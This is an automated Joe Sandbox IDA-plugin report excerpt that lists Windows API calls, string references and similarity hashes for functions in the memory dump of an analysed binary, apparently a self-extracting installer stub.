Part of subcall function 00FD7A15: GetLastError.KERNEL32 ref: 00FD7A6A
Part of subcall function 00FD7A15: CloseHandle.KERNEL32(?), ref: 00FD7A79

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 00FD7146
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00FD7254
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00FD7280
CloseHandle.KERNEL32(?), ref: 00FD7292
GetLastError.KERNEL32(00000015,00000000,?), ref: 00FD72A2
RemoveDirectoryW.KERNEL32(?), ref: 00FD72EE
DeleteFileW.KERNEL32(?), ref: 00FD7316

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00FD6FF6
UNC\, xrefs: 00FD7076
SeRestorePrivilege, xrefs: 00FD6FEC
\??\, xrefs: 00FD7051

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: 1858dab79c7655ad748ace5194a5fea376af42cb9f47b926b727d89857c4c9a9
Instruction ID: 21f962c77b64fb4308c6ca32e2a18607dd71b8e620a634ce3bcddfe1d4e679be
Opcode Fuzzy Hash: 1858dab79c7655ad748ace5194a5fea376af42cb9f47b926b727d89857c4c9a9
Instruction Fuzzy Hash: 22B1F571D043589FEB21EF64CC45BEE73B9AF04300F08459AF959EB242E778AA45DB60

Function 00FE963A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92memorywindowCOMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000066,PNG,?,?,00FEA54A,00000066), ref: 00FE964B
SizeofResource.KERNEL32(00000000,75295780,?,?,00FEA54A,00000066), ref: 00FE9663
LoadResource.KERNEL32(00000000,?,?,00FEA54A,00000066), ref: 00FE9676
LockResource.KERNEL32(00000000,?,?,00FEA54A,00000066), ref: 00FE9681
GlobalAlloc.KERNEL32(00000002,00000000,00000000,?,?,?,00FEA54A,00000066), ref: 00FE969F
GlobalLock.KERNEL32(00000000), ref: 00FE96AC
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00FE9707
GlobalUnlock.KERNEL32(00000000), ref: 00FE971C
GlobalFree.KERNEL32(00000000), ref: 00FE9723

Strings

PNG, xrefs: 00FE963C

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: GlobalResource$Lock$AllocBitmapCreateFindFreeFromGdipLoadSizeofUnlock
String ID: PNG
API String ID: 4097654274-364855578
Opcode ID: 63c0aec16542c280e0c628a1b89b4422a05f6dae2631abd055b156dfd378f5d3
Instruction ID: 63096f75a57ae91f4366040c8075823b217f77016dcd250ed0bda1df41e9ae11
Opcode Fuzzy Hash: 63c0aec16542c280e0c628a1b89b4422a05f6dae2631abd055b156dfd378f5d3
Instruction Fuzzy Hash: F021A075514302ABC3329F22DC88E6B7BA9EF957A0F00052DF98182214DB66CC04EBB1

Function 00FF7BE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00FF7CD9
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00FF7CE3
UnhandledExceptionFilter.KERNEL32(-00000311,?,?,?,?,?,00000000), ref: 00FF7CF0

Strings

6P+, xrefs: 00FF7BEC

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: 6P+
API String ID: 3906539128-3080146196
Opcode ID: 769a42bdff6af22051e1559c0fdf794279fd8f60bf6ae4a98e3fe4bd8e2d101b
Instruction ID: 61e9166097779cc2609c8c9cd29ddfd537e598c64c8403b8ab72284a85c634ed
Opcode Fuzzy Hash: 769a42bdff6af22051e1559c0fdf794279fd8f60bf6ae4a98e3fe4bd8e2d101b
Instruction Fuzzy Hash: 4531D374D0121C9BCB21DF64DC88B9CBBB8AF18310F5041EAE50CA7251E7349B818F44

Function 00FE9D99 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00FE9DBF
GetNumberFormatW.KERNEL32(00000400,00000000,?,0100D600,?,?), ref: 00FE9E0E

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 97747d27ed589ef5ebf6c28ee1f401b75f509d8b084b3062edbe822531127e90
Instruction ID: 70f34a888089d9d58ba7060e6ed7943d96855cec6f3badfd13c533dafe0168e1
Opcode Fuzzy Hash: 97747d27ed589ef5ebf6c28ee1f401b75f509d8b084b3062edbe822531127e90
Instruction Fuzzy Hash: FA017C39510218BADB219FE4DC49FABB7BCEF19710F104462FA8897240D37699248BE5

Function 00FD6D06 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00FE0DE0,?,00000200), ref: 00FD6D06
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00FD6D27

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: b55747957a92aa102474ae2e217c60a821512fb6c3d1d7609e6f0d4951837291
Instruction ID: 734ad63b5684a8dfcb0f3b5b3d69ed2c4e5c56ff055d41305e9c67934642fc3a
Opcode Fuzzy Hash: b55747957a92aa102474ae2e217c60a821512fb6c3d1d7609e6f0d4951837291
Instruction Fuzzy Hash: 18D0A931388302BEFA221A309C0AF2AB793B715B82F20C900B382E80C1C6719014E728

Function 00FEE643 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001E64F,00FEE084), ref: 00FEE648

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4a275c9cb019fc680249dc2db4eccf7f36963e5208621d40fd216a6888475ae2
Instruction ID: 1a237c7449e11aaf7f6d04b1c69003ca823b44e49b8ddb957ff5e103c2644f0b
Opcode Fuzzy Hash: 4a275c9cb019fc680249dc2db4eccf7f36963e5208621d40fd216a6888475ae2
Instruction Fuzzy Hash:

Function 00FFACA1 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00FFACA1

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 927456ec0821c866c07ecd703f70625c34c4743046359c5fdf06d265c405398c
Instruction ID: 84b7398a49580d5153faa6724777b27b39d139da04f13dfd726ff674515d7468
Opcode Fuzzy Hash: 927456ec0821c866c07ecd703f70625c34c4743046359c5fdf06d265c405398c
Instruction Fuzzy Hash: CBA02230203200CF83208F30A30C30C3AECBA08EC0B088028B2C8C200CEB3EC0A08B00

Function 00FEB4C7 Relevance: 33.7, APIs: 15, Strings: 4, Instructions: 438windowfileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FEB4CC

Part of subcall function 00FEA156: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00FEA21E

SetFileAttributesW.KERNEL32(?,00000005,?,?,?,00000800,?,?,00000000,00000001,00FEADDF,?,00000000), ref: 00FEB601
SHFileOperationW.SHELL32(?), ref: 00FEB6AE
GetFileAttributesW.KERNEL32(?), ref: 00FEB6BB
DeleteFileW.KERNEL32(?), ref: 00FEB6C9
SetWindowTextW.USER32(?,?), ref: 00FEB812
_wcsrchr.LIBVCRUNTIME ref: 00FEB99C
GetDlgItem.USER32(?,00000066), ref: 00FEB9D7
SetWindowTextW.USER32(00000000,?), ref: 00FEB9E7
SendMessageW.USER32(00000000,00000143,00000000,01019602), ref: 00FEB9FB
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00FEBA24

Strings

<br>, xrefs: 00FEB775
Software\Microsoft\Windows\CurrentVersion, xrefs: 00FEB8BB
ProgramFilesDir, xrefs: 00FEB8E6
%s.%d.tmp, xrefs: 00FEB6E1

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: File$AttributesMessageSendTextWindow$DeleteEnvironmentExpandH_prologItemOperationStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 764735972-312220925
Opcode ID: fac150af4180f52cc7530703700ccc4f679f1c437dd6a67f4125fa4bc2843b0d
Instruction ID: 7e7a70f08da8b207d90203351b5a5d91c8cdc9749d6c0c7cf17e680929aa1d35
Opcode Fuzzy Hash: fac150af4180f52cc7530703700ccc4f679f1c437dd6a67f4125fa4bc2843b0d
Instruction Fuzzy Hash: 0EE18272C00259AAEF21EBA1DD85EEF737CAF44350F0440A6F649E7151EF749B849BA0

Function 00FDD70B Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00FDD731

Part of subcall function 00FD3E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FD3E54

Part of subcall function 00FE11FA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,01010078,?,00FDCE91,00000000,?,00000050,01010078), ref: 00FE1217

_strlen.LIBCMT ref: 00FDD752
SetDlgItemTextW.USER32(?,0100D154,?), ref: 00FDD7B2
GetWindowRect.USER32(?,?), ref: 00FDD7EC
GetClientRect.USER32(?,?), ref: 00FDD7F8
GetWindowLongW.USER32(?,000000F0), ref: 00FDD896
GetWindowRect.USER32(?,?), ref: 00FDD8C3
SetWindowTextW.USER32(?,?), ref: 00FDD906
GetSystemMetrics.USER32(00000008), ref: 00FDD90E
GetWindow.USER32(?,00000005), ref: 00FDD919
GetWindowRect.USER32(00000000,?), ref: 00FDD946
GetWindow.USER32(00000000,00000002), ref: 00FDD9B8

Strings

d, xrefs: 00FDD818
$%s:, xrefs: 00FDD725
CAPTION, xrefs: 00FDD8E8

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 654ce9b0b20c5e6518b03df21c0bc3e61241b3f202e6f70470771c65b9d669ab
Instruction ID: c78518c9263e3ee2eaebab38757445edc68a19818c91db8075d9a67538ca2874
Opcode Fuzzy Hash: 654ce9b0b20c5e6518b03df21c0bc3e61241b3f202e6f70470771c65b9d669ab
Instruction Fuzzy Hash: DE81B171508305AFD721DFA8CD84B6FBBE9EB88714F08491EFA84D3284D635E809DB52

Function 00FFB784 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00FFB7C8

Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB380
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB392
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB3A4
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB3B6
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB3C8
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB3DA
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB3EC
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB3FE
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB410
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB422
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB434
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB446
Part of subcall function 00FFB363: _free.LIBCMT ref: 00FFB458

_free.LIBCMT ref: 00FFB7BD

Part of subcall function 00FF7A50: RtlFreeHeap.NTDLL(00000000,00000000,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?), ref: 00FF7A66
Part of subcall function 00FF7A50: GetLastError.KERNEL32(?,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?,?), ref: 00FF7A78

_free.LIBCMT ref: 00FFB7DF
_free.LIBCMT ref: 00FFB7F4
_free.LIBCMT ref: 00FFB7FF
_free.LIBCMT ref: 00FFB821
_free.LIBCMT ref: 00FFB834
_free.LIBCMT ref: 00FFB842
_free.LIBCMT ref: 00FFB84D
_free.LIBCMT ref: 00FFB885
_free.LIBCMT ref: 00FFB88C
_free.LIBCMT ref: 00FFB8A9
_free.LIBCMT ref: 00FFB8C1

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 40e31e645cdc9901ba780204fc5ca6a8cfe9db70eecc7e82575e016245878da3
Instruction ID: f30705159148803d92b473f5f515ad68981f701cabbdef3b9bd25fffb6ab4507
Opcode Fuzzy Hash: 40e31e645cdc9901ba780204fc5ca6a8cfe9db70eecc7e82575e016245878da3
Instruction Fuzzy Hash: 8E318D31A043099FEB20AA78DC45B7AB3E8EF417A0F114429E259D71B1DF38AD91E724

Function 00FEC343 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00FEC364
GetClassNameW.USER32(00000000,?,00000800), ref: 00FEC393

Part of subcall function 00FE1410: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00FDACFE,?,?,?,00FDACAD,?,-00000002,?,00000000,?), ref: 00FE1426

GetWindowLongW.USER32(00000000,000000F0), ref: 00FEC3B1
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00FEC3C8
GetObjectW.GDI32(00000000,00000018,?), ref: 00FEC3DB

Part of subcall function 00FE958C: GetDC.USER32(00000000), ref: 00FE9598
Part of subcall function 00FE958C: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FE95A7
Part of subcall function 00FE958C: ReleaseDC.USER32(00000000,00000000), ref: 00FE95B5

Part of subcall function 00FE9549: GetDC.USER32(00000000), ref: 00FE9555
Part of subcall function 00FE9549: GetDeviceCaps.GDI32(00000000,00000058), ref: 00FE9564
Part of subcall function 00FE9549: ReleaseDC.USER32(00000000,00000000), ref: 00FE9572

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00FEC402
DeleteObject.GDI32(00000000), ref: 00FEC409
GetWindow.USER32(00000000,00000002), ref: 00FEC412

Strings

STATIC, xrefs: 00FEC399

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: 5213091526e578c1e9d90b0da4d4091a14f415490eded06630d5e5246e695bc2
Instruction ID: 493a0fa91b598813b5cf7debdff43101b29a77833fc8a5973b7cc7d45cef9dd3
Opcode Fuzzy Hash: 5213091526e578c1e9d90b0da4d4091a14f415490eded06630d5e5246e695bc2
Instruction Fuzzy Hash: 1021A4725402947BE732ABE6CC46FFF766CAB45760F008021FA45A60C5CBB94D4297F0

Function 00FF8422 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00FF8436

Part of subcall function 00FF7A50: RtlFreeHeap.NTDLL(00000000,00000000,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?), ref: 00FF7A66
Part of subcall function 00FF7A50: GetLastError.KERNEL32(?,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?,?), ref: 00FF7A78

_free.LIBCMT ref: 00FF8442
_free.LIBCMT ref: 00FF844D
_free.LIBCMT ref: 00FF8458
_free.LIBCMT ref: 00FF8463
_free.LIBCMT ref: 00FF846E
_free.LIBCMT ref: 00FF8479
_free.LIBCMT ref: 00FF8484
_free.LIBCMT ref: 00FF848F
_free.LIBCMT ref: 00FF849D

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 87a6bff4a8f2b6a37fe2eaac2002d175dd7d9332e144f27385020db4c22e5e0b
Instruction ID: d8d8ed73cd10e92ecc68e7a7a36ee100c251ba08c873c923c26243c07bc7a645
Opcode Fuzzy Hash: 87a6bff4a8f2b6a37fe2eaac2002d175dd7d9332e144f27385020db4c22e5e0b
Instruction Fuzzy Hash: 0311777551420CEFCB01FF64CC42CEE7B65EF05750B525195FA198B172DA39EB60AB80

Function 00FD200C Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

;%u, xrefs: 00FD2341
x%u, xrefs: 00FD2524
xc%u, xrefs: 00FD2581

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: 28a91c9f7f6d320a7c3ec695642b886e86b01f41e6b148144e8c3780492c2174
Instruction ID: 507c5df510423c5496dcbfd05a0b952798df110ea99111b1ed5d94a54613d24d
Opcode Fuzzy Hash: 28a91c9f7f6d320a7c3ec695642b886e86b01f41e6b148144e8c3780492c2174
Instruction Fuzzy Hash: 83F12531A043415ADB55EF248C95BAE779B6FA0310F0C446BFD858B383DA68D948F7E2

Function 00FFE2ED Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00FFEA62,00000000,00000000,00000000,00000000,00000000,00FF3FBF), ref: 00FFE32F
__fassign.LIBCMT ref: 00FFE3AA
__fassign.LIBCMT ref: 00FFE3C5
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00FFE3EB
WriteFile.KERNEL32(?,00000000,00000000,00FFEA62,00000000,?,?,?,?,?,?,?,?,?,00FFEA62,00000000), ref: 00FFE40A
WriteFile.KERNEL32(?,00000000,00000001,00FFEA62,00000000,?,?,?,?,?,?,?,?,?,00FFEA62,00000000), ref: 00FFE443

Strings

6P+, xrefs: 00FFE2F5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

